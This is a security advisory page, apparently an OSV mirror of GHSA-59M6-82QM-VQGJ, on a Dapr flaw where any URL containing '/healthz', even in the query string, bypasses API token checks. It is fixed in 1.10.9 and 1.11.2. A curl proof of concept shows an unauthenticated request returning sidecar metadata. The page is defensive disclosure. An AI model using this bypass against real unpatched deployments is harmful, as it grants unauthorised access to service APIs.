Lucene search

K
osvGoogleOSV:GHSA-59M6-82QM-VQGJ
HistoryJul 21, 2023 - 8:17 p.m.

Dapr API token authentication bypass in HTTP endpoints

2023-07-2120:17:36
Google
osv.dev
2
dapr
api token
authentication
bypass
vulnerability
http
security
patch
healthcheck
endpoint
attack
service invocation

7.5 High

CVSS3

Attack Vector

NETWORK

Attack Complexity

LOW

Privileges Required

NONE

User Interaction

NONE

Scope

UNCHANGED

Confidentiality Impact

HIGH

Integrity Impact

NONE

Availability Impact

NONE

CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N

7.3 High

AI Score

Confidence

Low

0.001 Low

EPSS

Percentile

33.8%

Summary

A vulnerability has been found in Dapr that allows bypassing API token authentication, which is used by the Dapr sidecar to authenticate calls coming from the application, with a well-crafted HTTP request.

Users who leverage API token authentication are encouraged to upgrade Dapr to 1.10.9 and 1.11.2.

Impact

This vulnerability impacts Dapr users who have configured API token authentication. An attacker could craft a request that is always allowed by the Dapr sidecar over HTTP, even if the dapr-api-token in the request is invalid or missing.

Patches

The issue has been fixed in Dapr 1.10.9 and 1.11.2.

Details

When API token authentication is enabled, Dapr requires all calls from applications to include the dapr-api-token header, with a value matching what’s included in the Dapr’s configuration. In order to allow for healthchecks to work, the /v1.0/healthz and /v1.0/healthz/outbound HTTP APIs are excluded from the API token authentication check, and are always allowed.

Dapr <= 1.10.8 and <= 1.11.1 implemented the allowlisting of the healthcheck endpoints by permitting all requests whose URL contains /healthz to bypass the API token authentication check. The match applied anywhere in the URL, including the querystring.

As a consequence, attackers were able to bypass API token authentication by including /healthz anywhere in the URL, including as a querystring parameter. This allowed attackers to invoke any Dapr API using HTTP, including perform service invocation.

Proof of Concept

$ curl -v http://localhost:3500/v1.0/metadata
* Trying ::1:3500...
* Connected to localhost (::1) port 3500 (#0)
&gt; GET /v1.0/metadata HTTP/1.1
&gt; Host: localhost:3500
&gt; User-Agent: curl/7.74.0
&gt; Accept: */*
&gt;
* Mark bundle as not supporting multiuse
&lt; HTTP/1.1 401 Unauthorized
&lt; Date: Mon, 17 Jul 2023 18:13:13 GMT
&lt; Content-Type: text/plain; charset=utf-8
&lt; Content-Length: 17
&lt; Traceparent: 00-00000000000000000000000000000000-0000000000000000-00
&lt;
* Connection #0 to host localhost left intact
invalid api token


$ curl -v http://localhost:3500/v1.0/metadata -H "dapr-api-token: mytoken"
* Trying ::1:3500...
* Connected to localhost (::1) port 3500 (#0)
&gt; GET /v1.0/metadata HTTP/1.1
&gt; Host: localhost:3500
&gt; User-Agent: curl/7.74.0
&gt; Accept: */*
&gt; dapr-api-token: mytoken
&gt;
* Mark bundle as not supporting multiuse
&lt; HTTP/1.1 200 OK
&lt; Date: Mon, 17 Jul 2023 18:13:26 GMT
&lt; Content-Type: application/json
&lt; Content-Length: 119
&lt; Traceparent: 00-00000000000000000000000000000000-0000000000000000-00
&lt;
* Connection #0 to host localhost left intact
{"id":"foo","actors":[],"extended":{"daprRuntimeVersion":"v1.11.1"},"components":[],"httpEndpoints":[],"subscriptions":[]}


$ curl -v http://localhost:3500/v1.0/metadata?foo=/healthz
* Trying ::1:3500...
* Connected to localhost (::1) port 3500 (#0)
&gt; GET /v1.0/metadata?foo=/healthz HTTP/1.1
&gt; Host: localhost:3500
&gt; User-Agent: curl/7.74.0
&gt; Accept: */*
&gt;
* Mark bundle as not supporting multiuse
&lt; HTTP/1.1 200 OK
&lt; Date: Mon, 17 Jul 2023 18:13:44 GMT
&lt; Content-Type: application/json
&lt; Content-Length: 119
&lt; Traceparent: 00-00000000000000000000000000000000-0000000000000000-00
&lt;
* Connection #0 to host localhost left intact
{"id":"foo","actors":[],"extended":{"daprRuntimeVersion":"v1.11.1"},"components":[],"httpEndpoints":[],"subscriptions":[]}

7.5 High

CVSS3

Attack Vector

NETWORK

Attack Complexity

LOW

Privileges Required

NONE

User Interaction

NONE

Scope

UNCHANGED

Confidentiality Impact

HIGH

Integrity Impact

NONE

Availability Impact

NONE

CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N

7.3 High

AI Score

Confidence

Low

0.001 Low

EPSS

Percentile

33.8%

Related for OSV:GHSA-59M6-82QM-VQGJ